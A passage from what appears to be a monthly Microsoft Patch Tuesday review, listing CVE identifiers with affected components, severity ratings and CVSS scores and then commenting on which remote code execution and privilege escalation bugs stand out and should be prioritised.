8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 